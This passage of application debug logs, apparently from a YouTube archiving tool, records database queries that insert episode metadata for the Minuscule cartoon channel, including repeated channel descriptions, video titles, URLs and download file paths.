15:30:02Z]] 00:54:35.578 [debug] QUERY OK source="sources" db=0.4ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.580 [debug] QUERY OK source="media_items" db=0.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-24 15:30:00Z], 4] 00:54:35.583 [debug] QUERY OK source="media_items" db=2.5ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mon beau sapin/O Tannenbaum (season 1)", "ba0dd323-727b-4abb-8fbf-1fd849b343ca", "KbxvadhXSZ0", 337, false, 4, "https://www.youtube.com/watch?v=KbxvadhXSZ0", 108, "/downloads/Miniscule Season 1/2019-12-24 Minuscule - mon beau sapin⧸O Tannenbaum (season 1)/Minuscule - mon beau sapin⧸O Tannenbaum (season 1) [KbxvadhXSZ0].mp4", false, false, false, [], 1, ~U[2019-12-24 15:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - mon beau sapin/O Tannenbaum (season 1)", "KbxvadhXSZ0", 337, false, 4, "https://www.youtube.com/watch?v=KbxvadhXSZ0", "/downloads/Miniscule Season 1/2019-12-24 Minuscule - mon beau sapin⧸O Tannenbaum (season 1)/Minuscule - mon beau sapin⧸O Tannenbaum (season 1) [KbxvadhXSZ0].mp4", false, ~U[2019-12-24 15:30:00Z]] 00:54:35.585 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.586 [debug] QUERY OK source="media_items" db=0.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-12-03 15:30:03Z], 4] 00:54:35.589 [debug] QUERY OK source="media_items" db=2.5ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Totem/Totem (Season 1)", "841c12dc-d918-47bf-98f9-83bda4595872", "ReVsWCRb2Ls", 344, false, 4, "https://www.youtube.com/watch?v=ReVsWCRb2Ls", 111, "/downloads/Miniscule Season 1/2019-12-03 Minuscule - Le Totem⧸Totem (Season 1)/Minuscule - Le Totem⧸Totem (Season 1) [ReVsWCRb2Ls].mp4", false, false, false, [], 1, ~U[2019-12-03 15:30:03Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary!\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY: https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n*** #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Le Totem/Totem (Season 1)", "ReVsWCRb2Ls", 344, false, 4, "https://www.youtube.com/watch?v=ReVsWCRb2Ls", "/downloads/Miniscule Season 1/2019-12-03 Minuscule - Le Totem⧸Totem (Season 1)/Minuscule - Le Totem⧸Totem (Season 1) [ReVsWCRb2Ls].mp4", false, ~U[2019-12-03 15:30:03Z]] 00:54:35.591 [debug] QUERY OK source="sources" db=0.4ms idle=10.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.592 [debug] QUERY OK source="media_items" db=0.9ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-13 10:30:00Z], 4] 00:54:35.596 [debug] QUERY OK source="media_items" db=2.8ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tire au flanc/The Apple of Concord (Season 1)", "7bbbe2f7-cb0e-4579-875d-8cd3f43c6770", "5J-ZHuN0ZHU", 337, false, 4, "https://www.youtube.com/watch?v=5J-ZHuN0ZHU", 119, "/downloads/Miniscule Season 1/2019-08-13 Minuscule - Tire au flanc⧸The Apple of Concord (Season 1)/Minuscule - Tire au flanc⧸The Apple of Concord (Season 1) [5J-ZHuN0ZHU].mp4", false, false, false, [], 1, ~U[2019-08-13 10:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Tire au flanc/The Apple of Concord (Season 1)", "5J-ZHuN0ZHU", 337, false, 4, "https://www.youtube.com/watch?v=5J-ZHuN0ZHU", "/downloads/Miniscule Season 1/2019-08-13 Minuscule - Tire au flanc⧸The Apple of Concord (Season 1)/Minuscule - Tire au flanc⧸The Apple of Concord (Season 1) [5J-ZHuN0ZHU].mp4", false, ~U[2019-08-13 10:30:00Z]] 00:54:35.597 [debug] QUERY OK source="sources" db=0.4ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.598 [debug] QUERY OK source="media_items" db=0.9ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-07-09 13:30:18Z], 4] 00:54:35.602 [debug] QUERY OK source="media_items" db=2.6ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - La grasse matinée / Sleeping In (Season 1)", "20d79ded-8822-4545-ae89-7354e5684568", "Hf7oX6Yff-M", 453, false, 4, "https://www.youtube.com/watch?v=Hf7oX6Yff-M", 120, "/downloads/Miniscule Season 1/2017-07-09 Minuscule - La grasse matinée ⧸ Sleeping In (Season 1)/Minuscule - La grasse matinée ⧸ Sleeping In (Season 1) [Hf7oX6Yff-M].mp4", false, false, false, [], 1, ~U[2017-07-09 13:30:18Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - La grasse matinée / Sleeping In (Season 1)", "Hf7oX6Yff-M", 453, false, 4, "https://www.youtube.com/watch?v=Hf7oX6Yff-M", "/downloads/Miniscule Season 1/2017-07-09 Minuscule - La grasse matinée ⧸ Sleeping In (Season 1)/Minuscule - La grasse matinée ⧸ Sleeping In (Season 1) [Hf7oX6Yff-M].mp4", false, ~U[2017-07-09 13:30:18Z]] 00:54:35.603 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=10.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:35.604 [debug] QUERY OK source="media_items" db=0.8ms idle=8.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2019-08-20 10:30:00Z], 4] 00:54:35.608 [debug] QUERY OK source="media_items" db=2.8ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech Republic : 04/18/2019\nFinland : 04/19/2019\nRussia : 05/02/2019\n... #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Silence/Quiet (season 1)", "188f2580-2965-4d15-9baa-c30ced6136aa", "7qxO1RKJUmo", 340, false, 4, "https://www.youtube.com/watch?v=7qxO1RKJUmo", 124, "/downloads/Miniscule Season 1/2019-08-20 Minuscule - Silence⧸Quiet (season 1)/Minuscule - Silence⧸Quiet (season 1) [7qxO1RKJUmo].mp4", false, false, false, [], 1, ~U[2019-08-20 10:30:00Z], ~U[2025-12-14 07:54:35Z], ~U[2025-12-14 07:54:35Z], "The official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l'impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d'insectes en images de synthèse.\n\n***\n\nMinuscule: Mandibles From Far Away is back in France on DVD & Blu-ray on May 2, 2019. \n\nMinuscule: Les Mandibules du Bout du Monde sera de retour en France en Blu-ray & DVD le 02/05/2019.\n\n***\n\nCheck out MINUSCULE AR, the Augmented Reality video game of Minuscule’s world. \n\niOS: https://itunes.apple.com/app/id1449705783 \nGOOGLE PLAY : https://play.google.com/store/apps/details?id=com.Novelab.MinusculeAR\n\n***\n\nComposed and orchestrated by Mathieu Lamboley, the soundtrack of Minuscule - Mandibles from Far Away is available on CD on Music Box Records.\n\nhttps://www.musicbox-records.com/fr/cd-musiques-de-films/6816-minuscule-les-mandibules-du-bout-du-monde.html \n\n***\n\nJoin Minuscule on Facebook and Instagram :\nFacebook: https://www.facebook.com/minusculefilm/ \nInstagram: https://www.instagram.com/minuscule.officiel/\n\n***\n\nMinuscule: Mandibles From Far Away !\nCOMING SOON TO A CINEMA NEAR YOU :\n\nFrance : 01/30/2019\nSwitzerland : 01/30/2019\nUAE : 01/31/2019\nQatar : 01/31/19\nBahrain : 01/31/19\nOman : 01/31/2019\nSouth-Korea : 02/14/2019\nLebanon : 02/14/2019\nLithuania : 02/15/2019\nGermany : 02/21/2019\nEgypt : Will be announced\nDenmark : 03/07/2019\nNorway : 03/07/2019\nSweden : 03/15/2019\nPoland : 03/15/2019\nSlovakia : 04/04/2019\nEstonia : 04/05/2019\nLatvia : 04/05/2019\nCzech 